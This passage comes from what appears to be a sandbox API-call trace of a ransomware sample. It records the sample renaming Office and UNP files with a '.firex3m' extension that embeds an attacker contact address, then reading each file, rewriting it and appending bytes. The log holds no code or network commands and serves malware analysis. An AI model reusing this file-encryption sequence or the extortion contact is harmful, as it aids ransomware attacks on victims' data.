shared\\themes16\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0210.619] CloseHandle (hObject=0x704) returned 1 [0210.619] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0210.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0210.620] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c144f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0xff00b748, dwReserved1=0x6e006f, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d53c0 [0210.620] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0210.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0210.621] GetProcessHeap () returned 0x630000 [0210.621] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9e1) returned 0x681d78 [0210.621] GetProcessHeap () returned 0x630000 [0210.621] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9e1) returned 0x6e5368 [0210.621] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.621] ReadFile (in: hFile=0x704, lpBuffer=0x681d78, nNumberOfBytesToRead=0x9c0, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x681d78*, lpNumberOfBytesRead=0x333ff0c*=0x9c0, lpOverlapped=0x0) returned 1 [0210.632] GetProcessHeap () returned 0x630000 [0210.632] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0210.632] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.632] WriteFile (in: hFile=0x704, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x333ff0c*=0x9c0, lpOverlapped=0x0) returned 1 [0210.632] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.632] WriteFile (in: hFile=0x704, lpBuffer=0x6e5d27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5d27*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0210.632] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.632] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0210.632] CloseHandle (hObject=0x704) returned 1 [0210.632] GetProcessHeap () returned 0x630000 [0210.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0210.632] GetProcessHeap () returned 0x630000 [0210.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681d78 | out: hHeap=0x630000) returned 1 [0210.632] GetProcessHeap () returned 0x630000 [0210.632] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0210.633] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.633] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c144f9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c144f9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x437db93b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa03, dwReserved0=0xc1c7496, dwReserved1=0x681d70, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d52c0 [0210.633] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0210.633] Sleep (dwMilliseconds=0x1) [0212.228] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX", len=0x70 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX") returned 1 [0212.228] GetProcessHeap () returned 0x630000 [0212.228] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e30) returned 0x6fe4288 [0212.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\extfont.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0212.229] CloseHandle (hObject=0x4e4) returned 1 [0212.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0212.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\extfont.shx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\extfont.shx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0212.230] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0212.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x531047b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x531047b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x531047b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="EXTFONT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EXTFON~1.FIR")) returned 0x6d4f40 [0212.230] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0212.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\visio shared\\fonts\\extfont.shx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0212.230] GetProcessHeap () returned 0x630000 [0212.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x731cfd8 [0212.231] GetProcessHeap () returned 0x630000 [0212.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7328408 [0212.231] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.232] ReadFile (in: hFile=0x4e4, lpBuffer=0x731cfd8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x731cfd8*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0217.687] GetProcessHeap () returned 0x630000 [0217.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0217.687] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.688] WriteFile (in: hFile=0x4e4, lpBuffer=0x7328408*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7328408*, lpNumberOfBytesWritten=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0217.688] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.688] WriteFile (in: hFile=0x4e4, lpBuffer=0x7333807*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7333807*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.262] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.291] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.291] CloseHandle (hObject=0x4e4) returned 1 [0219.291] GetProcessHeap () returned 0x630000 [0219.291] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7328408 | out: hHeap=0x630000) returned 1 [0219.291] GetProcessHeap () returned 0x630000 [0219.292] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731cfd8 | out: hHeap=0x630000) returned 1 [0219.292] GetProcessHeap () returned 0x630000 [0219.292] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0219.292] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.292] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x531047b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x531047b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x48a91109, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6aa0a, dwReserved0=0xc1c7496, dwReserved1=0x731cfd0, cFileName="EXTFONT.SHX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EXTFON~1.FIR")) returned 0x6d5040 [0219.292] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0219.292] Sleep (dwMilliseconds=0x1) [0220.964] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x333ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastreviewsettings.xml") returned 1 [0220.964] GetProcessHeap () returned 0x630000 [0220.964] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5100) returned 0x6fe3bb0 [0220.964] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0220.965] CloseHandle (hObject=0x4e4) returned 1 [0220.965] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.965] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.979] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5580 [0220.979] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0220.979] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\lt-lt\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0220.980] GetProcessHeap () returned 0x630000 [0220.980] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa090 [0220.980] GetProcessHeap () returned 0x630000 [0220.980] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa268 [0220.980] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.980] ReadFile (in: hFile=0x4e4, lpBuffer=0x74aa090, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa090*, lpNumberOfBytesRead=0x333ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0220.982] GetProcessHeap () returned 0x630000 [0220.982] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0220.982] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.982] WriteFile (in: hFile=0x4e4, lpBuffer=0x74aa268*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa268*, lpNumberOfBytesWritten=0x333ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0220.982] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.982] WriteFile (in: hFile=0x4e4, lpBuffer=0x74aa407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa407*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.983] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.983] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.983] CloseHandle (hObject=0x4e4) returned 1 [0220.983] GetProcessHeap () returned 0x630000 [0220.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa268 | out: hHeap=0x630000) returned 1 [0220.983] GetProcessHeap () returned 0x630000 [0220.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa090 | out: hHeap=0x630000) returned 1 [0220.983] GetProcessHeap () returned 0x630000 [0220.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0220.983] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lt-LT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49aa8da8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x333fd20, dwReserved1=0x74aa090, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5200 [0220.983] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0220.983] Sleep (dwMilliseconds=0x1) [0222.416] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x333ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgradeth2.xml") returned 1 [0222.416] GetProcessHeap () returned 0x630000 [0222.416] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5188) returned 0x6fe3bb0 [0222.416] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0225.765] CloseHandle (hObject=0x4e8) returned 1 [0225.766] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.766] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.786] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9273d1f2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x9273d1f2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d53c0 [0225.792] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0225.793] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sl-SI\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sl-si\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0225.793] GetProcessHeap () returned 0x630000 [0225.793] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa440 [0225.793] GetProcessHeap () returned 0x630000 [0225.793] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aaba0 [0225.793] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.793] ReadFile (in: hFile=0x674, lpBuffer=0x74aa440, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa440*, lpNumberOfBytesRead=0x333ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0225.796] GetProcessHeap () returned 0x630000 [0225.796] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176598 [0225.796] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.796] WriteFile (in: hFile=0x674, lpBuffer=0x74aaba0*, nNumberOfBytesToWrite=0x1a0, 